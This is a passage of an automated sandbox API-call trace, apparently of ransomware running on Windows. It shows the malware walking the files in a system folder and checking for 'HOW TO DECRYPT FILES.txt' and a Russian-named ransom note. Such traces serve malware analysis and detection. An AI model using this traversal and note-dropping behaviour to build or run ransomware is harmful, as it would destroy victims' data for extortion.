Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.800] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.800] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.800] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.800] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msadcor.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" [0059.800] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0059.800] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msaddsr.dll.mui") returned -1 [0059.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msaddsr.dll.mui") returned -1 [0059.800] lstrcmpiA (lpString1="", lpString2="msaddsr.dll.mui") returned -1 [0059.800] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned="msadcor.dll.mui" [0059.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.800] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.800] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.800] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.800] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msaddsr.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" [0059.800] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0059.800] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaprsr.dll.mui") returned -1 [0059.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaprsr.dll.mui") returned -1 [0059.801] lstrcmpiA (lpString1="", lpString2="msdaprsr.dll.mui") returned -1 [0059.801] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned="msaddsr.dll.mui" [0059.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.801] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.801] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msdaprsr.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" [0059.801] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0059.801] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaremr.dll.mui") returned -1 [0059.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaremr.dll.mui") returned -1 [0059.801] lstrcmpiA (lpString1="", lpString2="msdaremr.dll.mui") returned -1 [0059.801] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned="msdaprsr.dll.mui" [0059.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.801] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.801] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msdaremr.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" [0059.802] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0059.802] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.802] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0059.802] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="handler.reg") returned -1 [0059.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="handler.reg") returned 1 [0059.802] lstrcmpiA (lpString1="", lpString2="handler.reg") returned -1 [0059.802] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\*.*") returned="*.*" [0059.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="handler.reg" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" [0059.802] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0059.802] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="handsafe.reg") returned -1 [0059.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="handsafe.reg") returned 1 [0059.802] lstrcmpiA (lpString1="", lpString2="handsafe.reg") returned -1 [0059.802] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned="handler.reg" [0059.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="handsafe.reg" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" [0059.803] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0059.803] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.803] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadce.dll") returned -1 [0059.803] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadce.dll") returned -1 [0059.803] lstrcmpiA (lpString1="", lpString2="msadce.dll") returned -1 [0059.803] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned="handsafe.reg" [0059.803] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.803] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadce.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" [0059.803] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0059.803] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.803] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcer.dll") returned -1 [0059.803] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcer.dll") returned -1 [0059.803] lstrcmpiA (lpString1="", lpString2="msadcer.dll") returned -1 [0059.803] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned="msadce.dll" [0059.803] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.803] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.804] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadcer.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" [0059.804] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0059.804] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcf.dll") returned -1 [0059.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcf.dll") returned -1 [0059.804] lstrcmpiA (lpString1="", lpString2="msadcf.dll") returned -1 [0059.804] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned="msadcer.dll" [0059.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.804] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.804] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.804] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.804] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadcf.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" [0059.804] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0059.804] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcfr.dll") returned -1 [0059.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcfr.dll") returned -1 [0059.804] lstrcmpiA (lpString1="", lpString2="msadcfr.dll") returned -1 [0059.804] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll") returned="msadcf.dll" [0059.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.804] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.804] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.804] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.805] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadcfr.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" [0059.805] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0059.805] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadco.dll") returned -1 [0059.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadco.dll") returned -1 [0059.805] lstrcmpiA (lpString1="", lpString2="msadco.dll") returned -1 [0059.805] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll") returned="msadcfr.dll" [0059.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.805] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.805] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadco.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" [0059.805] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0059.805] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcor.dll") returned -1 [0059.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcor.dll") returned -1 [0059.805] lstrcmpiA (lpString1="", lpString2="msadcor.dll") returned -1 [0059.805] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned="msadco.dll" [0059.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.805] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program 